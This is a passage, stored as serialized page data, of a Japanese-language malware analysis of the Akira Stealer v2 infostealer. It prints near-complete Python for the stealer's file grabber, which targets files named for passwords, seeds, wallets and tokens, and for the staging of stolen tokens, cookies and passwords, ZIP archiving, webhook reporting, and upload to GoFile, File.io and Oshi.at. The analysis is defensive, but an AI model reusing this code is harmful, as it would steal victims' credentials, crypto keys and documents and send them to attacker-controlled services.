{\n",[1707,9396,9397],{"class":1709,"line":531},[1707,9398,9399],{},"    \"embeds\": [{\n",[1707,9401,9402],{"class":1709,"line":2090},[1707,9403,9404],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1707,9406,9407],{"class":1709,"line":2096},[1707,9408,9409],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1707,9411,9412],{"class":1709,"line":2419},[1707,9413,9414],{},"        \"fields\": [...]\n",[1707,9416,9417],{"class":1709,"line":2425},[1707,9418,9419],{},"    }]\n",[1707,9421,9422],{"class":1709,"line":3077},[1707,9423,2428],{},[1707,9425,9426],{"class":1709,"line":3872},[1707,9427,9428],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[631,9430,9431,9437],{},[634,9432,9433,9436],{},[567,9434,9435],{},"国旗の絵文字",": ISOの国コードから導出されます。",[634,9438,9439,9442],{},[567,9440,9441],{},"フィールド",": 窃取したパスワードやCookieなどの件数を含みますが、システム情報は即座に文脈を把握できるようエンベッドの説明に置かれます。",[526,9444,9445,9448],{},[567,9446,9447],{},"まとめ:","\nAkira Stealer v2のシステムプロファイリングは、WMIコマンド、環境変数、IPの地理位置特定を通じて、ホストとネットワークの包括的なデータを集めます。VM検出やツール終了のルーチンと組み合わさることで、攻撃者は侵害した環境の完全なスナップショットを得られ、標的を絞った後続の行動が強化され、解析用サンドボックスが除外されます。",[741,9450,9452,9453,2039],{"id":9451},"_711-ファイルグラバークラス-utilssteal_files","7.11 ファイルグラバー（クラス: ",[578,9454,9455],{},"Utils.steal_files",[526,9457,747],{},[526,9459,9460],{},"ブラウザーデータやトークンにとどまらず、Akiraは価値あるユーザー生成コンテンツ（ドキュメント、スプレッドシート、プライベートなメモ、暗号鍵ファイルなど）の抽出も試みます。ファイルグラバーモジュールがこの役目を担います。高価値のディレクトリを走査して一般的なファイルの種類とパターンを探し、それらを静かに窃取用のバンドルに加えます。このモジュールを特に危険にしているのは、その単純さと的の絞り方です。ファイルシステム全体をクロールしようとはしません。代わりに、機微なファイルが通常保存されている特定の、可能性の高い場所を狙います。これにはデスクトップ、ドキュメント、ダウンロード、OneDriveの各ディレクトリが含まれ、いずれもユーザーのホームパスからの相対で指定されます。この的を絞ったアプローチは速度とステルス性の両方を高め、走査中に検出される可能性を下げます。システムディレクトリや保護されたディレクトリにアクセスしないことで、ユーザーへの警告も避けます。関心のあるファイルが見つかると、一時フォルダーにコピーされ、必要に応じて名前を変えたりまとめられたりし、後に窃取フェーズでアップロードされる最終的なZIPアーカイブに圧縮されます。",[889,9462,9464],{"id":9463},"_7111-標的ディレクトリの列挙","7.11.1 標的ディレクトリの列挙",[526,9466,895],{},[526,9468,9469],{},"スティーラーは、実りの多い4つのフォルダーに的を絞ります。",[616,9471,9473],{"className":4512,"code":9472,"language":4514,"meta":530,"style":530},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[578,9474,9475,9480,9485,9490,9495,9500],{"__ignoreMap":530},[1707,9476,9477],{"class":1709,"line":1710},[1707,9478,9479],{},"searchFolders = [\n",[1707,9481,9482],{"class":1709,"line":531},[1707,9483,9484],{},"    \"Desktop\",\n",[1707,9486,9487],{"class":1709,"line":2090},[1707,9488,9489],{},"    \"Documents\",\n",[1707,9491,9492],{"class":1709,"line":2096},[1707,9493,9494],{},"    \"Downloads\",\n",[1707,9496,9497],{"class":1709,"line":2419},[1707,9498,9499],{},"    \"OneDrive\"\n",[1707,9501,9502],{"class":1709,"line":2425},[1707,9503,7939],{},[526,9505,9506],{},"各フォルダーは、被害者のホームディレクトリからの相対として解釈されます。",[616,9508,9510],{"className":4512,"code":9509,"language":4514,"meta":530,"style":530},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[578,9511,9512,9517,9522,9527],{"__ignoreMap":530},[1707,9513,9514],{"class":1709,"line":1710},[1707,9515,9516],{},"for folder in searchFolders:\n",[1707,9518,9519],{"class":1709,"line":531},[1707,9520,9521],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1707,9523,9524],{"class":1709,"line":2090},[1707,9525,9526],{},"    if os.path.exists(current_path):\n",[1707,9528,9529],{"class":1709,"line":2096},[1707,9530,9531],{},"        # proceed to scan\n",[889,9533,9535],{"id":9534},"_7112-キーワードと拡張子によるフィルタリング","7.11.2 キーワードと拡張子によるフィルタリング",[526,9537,895],{},[526,9539,9540],{},[567,9541,9542],{},"キーワードのリスト",[526,9544,9545],{},"あらかじめ定義された部分文字列の集合がファイルの選択を導きます。少なくとも1つのキーワードを含むファイル名だけが対象になります。",[616,9547,9549],{"className":4512,"code":9548,"language":4514,"meta":530,"style":530},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[578,9550,9551,9556,9561,9566],{"__ignoreMap":530},[1707,9552,9553],{"class":1709,"line":1710},[1707,9554,9555],{},"keywordsFiles = [\n",[1707,9557,9558],{"class":1709,"line":531},[1707,9559,9560],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1707,9562,9563],{"class":1709,"line":2090},[1707,9564,9565],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1707,9567,9568],{"class":1709,"line":2096},[1707,9569,7939],{},[631,9571,9572,9588],{},[634,9573,9574,1002,9577,9580,9581,585,9584,9587],{},[567,9575,9576],{},"部分一致",[578,9578,9579],{},"passw"," のようなキーワードは、",[578,9582,9583],{},"passwords.txt",[578,9585,9586],{},"passw_backup.docx"," の両方を捕捉します。",[634,9589,9590,9593],{},[567,9591,9592],{},"広い網羅",": 認証、ウォレット、暗号通貨、トークンに関連する語を包含します。",[889,9595,9597],{"id":9596},"_7113-許可されるファイルの種類","7.11.3 許可されるファイルの種類",[526,9599,895],{},[526,9601,9602],{},"ノイズを最小化するため、拡張子のホワイトリストが適用されます。",[616,9604,9606],{"className":4512,"code":9605,"language":4514,"meta":530,"style":530},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[578,9607,9608,9613,9618,9623],{"__ignoreMap":530},[1707,9609,9610],{"class":1709,"line":1710},[1707,9611,9612],{},"allowed_extensions = [\n",[1707,9614,9615],{"class":1709,"line":531},[1707,9616,9617],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1707,9619,9620],{"class":1709,"line":2090},[1707,9621,9622],{},"    \".jpg\", \".png\"\n",[1707,9624,9625],{"class":1709,"line":2096},[1707,9626,7939],{},[889,9628,9630],{"id":9629},"_7113-サイズの制約","7.11.3 サイズの制約",[526,9632,895],{},[526,9634,9635],{},"窃取の速度を最適化し大きな転送を避けるため、2メガバイトを超えるファイルはスキップされます。",[616,9637,9639],{"className":4512,"code":9638,"language":4514,"meta":530,"style":530},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[578,9640,9641,9646,9651],{"__ignoreMap":530},[1707,9642,9643],{"class":1709,"line":1710},[1707,9644,9645],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1707,9647,9648],{"class":1709,"line":531},[1707,9649,9650],{},"if file_size_mb \u003C= 2:\n",[1707,9652,9653],{"class":1709,"line":2090},[1707,9654,9655],{},"    # eligible for copy\n",[889,9657,9659],{"id":9658},"_7114-再帰的な走査とコピーのロジック","7.11.4 再帰的な走査とコピーのロジック",[526,9661,895],{},[526,9663,9664],{},"高価値のディレクトリを特定すると、Akiraは再帰的な走査ルーチンを開始し、サブフォルダーをたどって特定のキーワードと拡張子に一致するファイルを探します。このフェーズは精度とステルス性のために作られています。あらかじめ定義された基準（機微なキーワードを含むファイル名や、承認されたファイル種類など）に一致するファイルだけが対象になります。このロジックにより、関連するユーザー生成コンテンツだけが窃取されるようになっています。システムファイル、キャッシュ、バイナリは無視し、単一ファイルのサイズを2 MBに制限してアップロードサイズと検出リスクを抑えます。この走査方式は静かで効率的、実運用環境でのステルスなデータ窃取に最適化されています。一致するファイルを中継フォルダーにコピーし、何を持ち出したかのリストを保持することで、Akiraは重複と運用上のノイズを最小化しつつ、コンテンツをバンドルと窃取に向けて準備します。",[526,9666,9667,9668,9671],{},"中核ルーチン ",[578,9669,9670],{},"steal_files()"," は次のように動作します。",[616,9673,9675],{"className":4512,"code":9674,"language":4514,"meta":530,"style":530},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[578,9676,9677,9681,9686,9691,9696,9700,9705,9710,9715,9720,9725,9730,9735,9740,9745,9750,9755,9760,9765,9770,9775,9780],{"__ignoreMap":530},[1707,9678,9679],{"class":1709,"line":1710},[1707,9680,4998],{},[1707,9682,9683],{"class":1709,"line":531},[1707,9684,9685],{},"def steal_files():\n",[1707,9687,9688],{"class":1709,"line":2090},[1707,9689,9690],{},"    stolen_files = set()\n",[1707,9692,9693],{"class":1709,"line":2096},[1707,9694,9695],{},"    temp_folder = Utils.get_temp_folder()\n",[1707,9697,9698],{"class":1709,"line":2419},[1707,9699,3869],{"emptyLinePlaceholder":325},[1707,9701,9702],{"class":1709,"line":2425},[1707,9703,9704],{},"    for folder in searchFolders:\n",[1707,9706,9707],{"class":1709,"line":3077},[1707,9708,9709],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1707,9711,9712],{"class":1709,"line":3872},[1707,9713,9714],{},"        if os.path.exists(current_path):\n",[1707,9716,9717],{"class":1709,"line":3878},[1707,9718,9719],{},"            for root, _, files in os.walk(current_path):\n",[1707,9721,9722],{"class":1709,"line":4125},[1707,9723,9724],{},"                for file in files:\n",[1707,9726,9727],{"class":1709,"line":5046},[1707,9728,9729],{},"                    lower = file.lower()\n",[1707,9731,9732],{"class":1709,"line":5052},[1707,9733,9734],{},"                    # Keyword check\n",[1707,9736,9737],{"class":1709,"line":5058},[1707,9738,9739],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1707,9741,9742],{"class":1709,"line":5064},[1707,9743,9744],{},"                        ext = os.path.splitext(lower)[1]\n",[1707,9746,9747],{"class":1709,"line":5070},[1707,9748,9749],{},"                        # Extension and size check\n",[1707,9751,9752],{"class":1709,"line":5076},[1707,9753,9754],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1707,9756,9757],{"class":1709,"line":5082},[1707,9758,9759],{},"                            # Prepare destination\n",[1707,9761,9762],{"class":1709,"line":5088},[1707,9763,9764],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1707,9766,9767],{"class":1709,"line":5094},[1707,9768,9769],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1707,9771,9772],{"class":1709,"line":5100},[1707,9773,9774],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1707,9776,9777],{"class":1709,"line":5106},[1707,9778,9779],{},"                            stolen_files.add(file)\n",[1707,9781,9782],{"class":1709,"line":5112},[1707,9783,9784],{},"    data.stolen_files.extend(stolen_files)\n",[526,9786,9787],{},[567,9788,9789],{},"要点:",[2104,9791,9792,9800,9810,9818,9824],{},[634,9793,9794,9799],{},[567,9795,9796],{},[578,9797,9798],{},"os.walk",": サブディレクトリへ再帰的に降りていきます。",[634,9801,9802,9805,9806,9809],{},[567,9803,9804],{},"大文字小文字を区別しない照合",": ファイル名は ",[578,9807,9808],{},"lower()"," で正規化されます。",[634,9811,9812,1002,9815,9817],{},[567,9813,9814],{},"アトミックなコピー",[578,9816,7805],{}," を使ってファイルの内容を保持します。",[634,9819,9820,9823],{},[567,9821,9822],{},"窃取済みファイル名の集合",": 同じファイルが2回現れたときの重複コピーを防ぎます。",[634,9825,9826,1002,9831,9834],{},[567,9827,9828,9830],{},[578,9829,9088],{}," との連携",[578,9832,9833],{},"data.stolen_files"," が、後の報告のために窃取したファイルのリストを蓄積します。",[889,9836,9838],{"id":9837},"_7115-アーカイブ化と窃取","7.11.5 アーカイブ化と窃取",[526,9840,895],{},[526,9842,9843,9844,9847],{},"収集の後、",[578,9845,9846],{},"Files"," フォルダーはZIP化されて送り出されます。",[616,9849,9851],{"className":4512,"code":9850,"language":4514,"meta":530,"style":530},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[578,9852,9853,9858,9863,9867,9872,9877],{"__ignoreMap":530},[1707,9854,9855],{"class":1709,"line":1710},[1707,9856,9857],{},"# Archive\n",[1707,9859,9860],{"class":1709,"line":531},[1707,9861,9862],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1707,9864,9865],{"class":1709,"line":2090},[1707,9866,3869],{"emptyLinePlaceholder":325},[1707,9868,9869],{"class":1709,"line":2096},[1707,9870,9871],{},"# Upload & Notify\n",[1707,9873,9874],{"class":1709,"line":2419},[1707,9875,9876],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1707,9878,9879],{"class":1709,"line":2425},[1707,9880,9881],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[631,9883,9884,9899],{},[634,9885,9886,1002,9891,647,9893,647,9895,9898],{},[567,9887,9888],{},[578,9889,9890],{},"zip_client_file()",[578,9892,9846],{},[578,9894,6345],{},[578,9896,9897],{},"Passwords"," などを含む一時ディレクトリ全体を圧縮します。",[634,9900,9901,9905,9906],{},[567,9902,9903],{},[578,9904,9069],{},": TelegramまたはDiscord Webhook経由でダウンロードリンクを投稿し、窃取した各ファイル名を列挙します。",[616,9907,9909],{"className":4512,"code":9908,"language":4514,"meta":530,"style":530},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[578,9910,9911,9916,9921,9926,9931],{"__ignoreMap":530},[1707,9912,9913],{"class":1709,"line":1710},[1707,9914,9915],{},"fields.append({\n",[1707,9917,9918],{"class":1709,"line":531},[1707,9919,9920],{},"\"name\": \"📂 Files\",\n",[1707,9922,9923],{"class":1709,"line":2090},[1707,9924,9925],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1707,9927,9928],{"class":1709,"line":2096},[1707,9929,9930],{},"\"inline\": False\n",[1707,9932,9933],{"class":1709,"line":2419},[1707,9934,9935],{},"})\n",[526,9937,9938],{},[567,9939,9940],{},"結論:",[526,9942,9943],{},"Akira Stealer v2のファイルグラバーは、キーワードと拡張子のフィルターを使って機微なドキュメントを体系的に探し、効率のために2 MBのサイズ上限を守り、窃取した項目をアーカイブにまとめます。その設計は網羅性（複数のフォルダー）と精度（的を絞ったフィルター）の両方を確保しており、このマルウェアのライフサイクルにおいて最も影響の大きい段階の1つになっています。",[741,9945,9947],{"id":9946},"_712-窃取の戦略","7.12 窃取の戦略",[526,9949,747],{},[526,9951,9952],{},"窃取モジュールは、収集したトークンと追加の成果物（Cookie、自動入力、ログ）を、構造化されたディレクトリに集めてアーカイブに圧縮し、複数のオンラインファイルホストにアップロードして、詳細なWebhook通知を送ります。このセクションでは、完全な追跡可能性のために、ファイルパス、ドメインのエンドポイント、コード参照とともに各ステップを分解します。",[889,9954,9956],{"id":9955},"_7121-ディレクトリ構成とファイル名","7.12.1 ディレクトリ構成とファイル名",[526,9958,895],{},[526,9960,9961],{},"Akiraは、収集したすべての成果物を、整然とした階層的な一時ディレクトリ構造にまとめます。この設計により、効率的なパッケージングと、攻撃者による窃取後の容易な確認が可能になります。トークン、Cookie、パスワード、スクリーンショットといったデータのカテゴリーごとに、被害者のコンピューター名（例: DESKTOP1234）を冠したルートパスの下の専用サブフォルダーに保存されます。この構造化された構成は明確さを確保し、重複を最小化し、アーカイブ化とアップロードの処理を効率化します。攻撃者側での自動解析や手作業の検査もはるかに容易になります。",[616,9963,9966],{"className":9964,"code":9965,"language":621},[619],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[578,9967,9965],{"__ignoreMap":530},[889,9969,9971],{"id":9970},"_7122-トークンと成果物のステージング","7.12.2 トークンと成果物のステージング",[526,9973,895],{},[526,9975,9976],{},"窃取の前に、Akiraは関連するすべての成果物を対応するサブフォルダーに配置します。たとえばトークンの値は、素早い走査と検証を容易にするため個別の.txtファイルに書き込まれます。Cookie、自動入力エントリ、パスワードも同様に、ブラウザー名を冠した構造化されたテキストファイルに書き込まれます。このステップはデータの配置を標準化し、自動化ツールが何を収集したかを追跡できるようにします。また、どのモジュールが起動されたかにかかわらず、後のZIPアーカイブが予測可能で攻撃者にとって扱いやすい形式になることを保証します。",[616,9978,9980],{"className":4512,"code":9979,"language":4514,"meta":530,"style":530},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[578,9981,9982,9987,9992,9997,10002,10007,10012,10017,10022,10027],{"__ignoreMap":530},[1707,9983,9984],{"class":1709,"line":1710},[1707,9985,9986],{},"import os, shutil\n",[1707,9988,9989],{"class":1709,"line":531},[1707,9990,9991],{},"# Constants\n",[1707,9993,9994],{"class":1709,"line":2090},[1707,9995,9996],{},"TMP = os.getenv('TEMP')\n",[1707,9998,9999],{"class":1709,"line":2096},[1707,10000,10001],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1707,10003,10004],{"class":1709,"line":2419},[1707,10005,10006],{},"# Prepare structure\n",[1707,10008,10009],{"class":1709,"line":2425},[1707,10010,10011],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1707,10013,10014],{"class":1709,"line":3077},[1707,10015,10016],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1707,10018,10019],{"class":1709,"line":3872},[1707,10020,10021],{},"# Save token\n",[1707,10023,10024],{"class":1709,"line":3878},[1707,10025,10026],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1707,10028,10029],{"class":1709,"line":4125},[1707,10030,10031],{},"    f.write(token)\n",[631,10033,10034,10037],{},[634,10035,10036],{},"トークンは素早い確認のため個別の小さなテキストファイルに保存されます。",[634,10038,10039,10042,10043,10046],{},[578,10040,10041],{},"Chromium.GetCookies()"," によるCookieのダンプは ",[578,10044,10045],{},"{Browser}_Cookies.txt"," に書き込まれます。",[889,10048,10050],{"id":10049},"_7133-zipアーカイブの作成","7.13.3 ZIPアーカイブの作成",[526,10052,895],{},[526,10054,10055,10056],{},"ステージングが完了すると、Akiraはディレクトリ全体を1つのZIPアーカイブに圧縮します。アーカイブのファイル名は一貫した命名規則に従います。",[10057,10058,10059,10060],"computer-name",{},"_",[10061,10062,10063],"timestamp",{},".zip という形式で、ホストのマシン名とISO 8601形式のUTCタイムスタンプを使います。これにより一意性と時系列の追跡可能性の両方が確保されます。ステージングディレクトリ全体を再帰的にたどることで、すべてのファイルがZIP内で相対的な構造のまま保持されます。この形式は、特に何百もの被害者が並行して侵害された場合に、攻撃者による一括の取得と検査を簡単にします。",[616,10065,10067],{"className":4512,"code":10066,"language":4514,"meta":530,"style":530},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[578,10068,10069,10074,10078,10083,10088,10093,10098,10103,10108,10113,10118,10123,10128],{"__ignoreMap":530},[1707,10070,10071],{"class":1709,"line":1710},[1707,10072,10073],{},"import zipfile, datetime\n",[1707,10075,10076],{"class":1709,"line":531},[1707,10077,3869],{"emptyLinePlaceholder":325},[1707,10079,10080],{"class":1709,"line":2090},[1707,10081,10082],{},"def create_archive(root_dir: str) -> str:\n",[1707,10084,10085],{"class":1709,"line":2096},[1707,10086,10087],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1707,10089,10090],{"class":1709,"line":2419},[1707,10091,10092],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1707,10094,10095],{"class":1709,"line":2425},[1707,10096,10097],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1707,10099,10100],{"class":1709,"line":3077},[1707,10101,10102],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1707,10104,10105],{"class":1709,"line":3872},[1707,10106,10107],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1707,10109,10110],{"class":1709,"line":3878},[1707,10111,10112],{},"            for fname in files:\n",[1707,10114,10115],{"class":1709,"line":4125},[1707,10116,10117],{},"                full = os.path.join(dirpath, fname)\n",[1707,10119,10120],{"class":1709,"line":5046},[1707,10121,10122],{},"                rel = os.path.relpath(full, root_dir)\n",[1707,10124,10125],{"class":1709,"line":5052},[1707,10126,10127],{},"                zf.write(full, rel)\n",[1707,10129,10130],{"class":1709,"line":5058},[1707,10131,10132],{},"    return zip_path\n",[631,10134,10135],{},[634,10136,10137,10138,10141],{},"アーカイブは、ホストの一貫性のために ",[578,10139,10140],{},"DESKTOP1234_20250505T123456Z.zip"," と名付けられます。",[526,10143,10144],{},[567,10145,10146],{},"ZIPファイル名の規則",[526,10148,10149],{},"アーカイブは、侵害されたホストのコンピューター名にISO形式のUTCタイムスタンプを続けて命名され、一意性と時系列順が確保されます。",[616,10151,10153],{"className":4512,"code":10152,"language":4514,"meta":530,"style":530},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[578,10154,10155,10160,10164,10168,10173,10177,10182,10186,10190],{"__ignoreMap":530},[1707,10156,10157],{"class":1709,"line":1710},[1707,10158,10159],{},"import datetime, os\n",[1707,10161,10162],{"class":1709,"line":531},[1707,10163,3869],{"emptyLinePlaceholder":325},[1707,10165,10166],{"class":1709,"line":2090},[1707,10167,10082],{},[1707,10169,10170],{"class":1709,"line":2096},[1707,10171,10172],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1707,10174,10175],{"class":1709,"line":2419},[1707,10176,10087],{},[1707,10178,10179],{"class":1709,"line":2425},[1707,10180,10181],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1707,10183,10184],{"class":1709,"line":3077},[1707,10185,10092],{},[1707,10187,10188],{"class":1709,"line":3872},[1707,10189,10097],{},[1707,10191,10192],{"class":1709,"line":3878},[1707,10193,10132],{},[526,10195,10149],{},[889,10197,10199],{"id":10198},"_7144-アップロードのワークフロー","7.14.4 アップロードのワークフロー",[526,10201,895],{},[526,10203,10204],{},"Akiraは、データ窃取の成功確率を最大化するため、3層のアップロード戦略を使います。まずGoFile.ioの公開APIを使ってアーカイブのアップロードを試み、ダウンロードリンクを受け取ります。GoFileが利用できないかブロックされている場合は、File.io、続いてOshi.atにフォールバックし、データが必ず転送されるようにします。これらのサービスは匿名で短命なホスティングを提供するため、テイクダウンと追跡が難しくなります。スクリプトは最終的なダウンロードURLを取得し、Webhook配信に向けて準備します。",[2104,10206,10207,10239,10267],{},[634,10208,10209,10212],{},[567,10210,10211],{},"主: GoFile.io",[631,10213,10214,10222,10230],{},[634,10215,10216,1002,10219],{},[567,10217,10218],{},"サーバー取得用API",[578,10220,10221],{},"GET https://api.gofile.io/servers",[634,10223,10224,1002,10227],{},[567,10225,10226],{},"アップロードエンドポイント",[578,10228,10229],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[634,10231,10232,1002,10235,10238],{},[567,10233,10234],{},"レスポンスのフィールド",[578,10236,10237],{},"data.downloadPage"," が最終URLを含みます。",[634,10240,10241,10244],{},[567,10242,10243],{},"フォールバック#1: File.io",[631,10245,10246,10257],{},[634,10247,10248,1002,10250,6262,10253,10256],{},[567,10249,10226],{},[578,10251,10252],{},"POST https://file.io/",[578,10254,10255],{},"files={'file': open(...)}"," を伴う）",[634,10258,10259,10262,10263,10266],{},[567,10260,10261],{},"レスポンス",": JSONの ",[578,10264,10265],{},"link"," フィールド。",[634,10268,10269,10272],{},[567,10270,10271],{},"フォールバック#2: Oshi.at",[631,10273,10274,10288],{},[634,10275,10276,1002,10278,6262,10281,10284,10285,10256],{},[567,10277,10226],{},[578,10279,10280],{},"POST http://oshi.at/",[578,10282,10283],{},"files[]"," とパラメーター ",[578,10286,10287],{},"expire=43200, autodestroy=0",[634,10289,10290,1002,10292,10295],{},[567,10291,10261],{},[578,10293,10294],{},"DL: \u003Curl>"," を含むプレーンテキスト。",[526,10297,10298],{},[567,10299,10300],{},"実装の断片:",[616,10302,10304],{"className":4512,"code":10303,"language":4514,"meta":530,"style":530},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[578,10305,10306,10311,10315,10320,10325,10329,10334,10339,10344,10349,10354,10359,10364,10369,10374,10379,10384,10388,10393,10398,10402,10407,10411,10416,10421,10425],{"__ignoreMap":530},[1707,10307,10308],{"class":1709,"line":1710},[1707,10309,10310],{},"import requests\n",[1707,10312,10313],{"class":1709,"line":531},[1707,10314,3869],{"emptyLinePlaceholder":325},[1707,10316,10317],{"class":1709,"line":2090},[1707,10318,10319],{},"def upload_with_fallback(zip_path):\n",[1707,10321,10322],{"class":1709,"line":2096},[1707,10323,10324],{},"    # GoFile\n",[1707,10326,10327],{"class":1709,"line":2419},[1707,10328,5161],{},[1707,10330,10331],{"class":1709,"line":2425},[1707,10332,10333],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1707,10335,10336],{"class":1709,"line":3077},[1707,10337,10338],{},"        for srv in servers:\n",[1707,10340,10341],{"class":1709,"line":3872},[1707,10342,10343],{},"            try:\n",[1707,10345,10346],{"class":1709,"line":3878},[1707,10347,10348],{},"                r = requests.post(\n",[1707,10350,10351],{"class":1709,"line":4125},[1707,10352,10353],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1707,10355,10356],{"class":1709,"line":5046},[1707,10357,10358],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1707,10360,10361],{"class":1709,"line":5052},[1707,10362,10363],{},"                url = r.json()['data']['downloadPage']\n",[1707,10365,10366],{"class":1709,"line":5058},[1707,10367,10368],{},"                if url: return url\n",[1707,10370,10371],{"class":1709,"line":5064},[1707,10372,10373],{},"            except: continue\n",[1707,10375,10376],{"class":1709,"line":5070},[1707,10377,10378],{},"    except: pass\n",[1707,10380,10381],{"class":1709,"line":5076},[1707,10382,10383],{},"    # File.io\n",[1707,10385,10386],{"class":1709,"line":5082},[1707,10387,5161],{},[1707,10389,10390],{"class":1709,"line":5088},[1707,10391,10392],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1707,10394,10395],{"class":1709,"line":5094},[1707,10396,10397],{},"        return 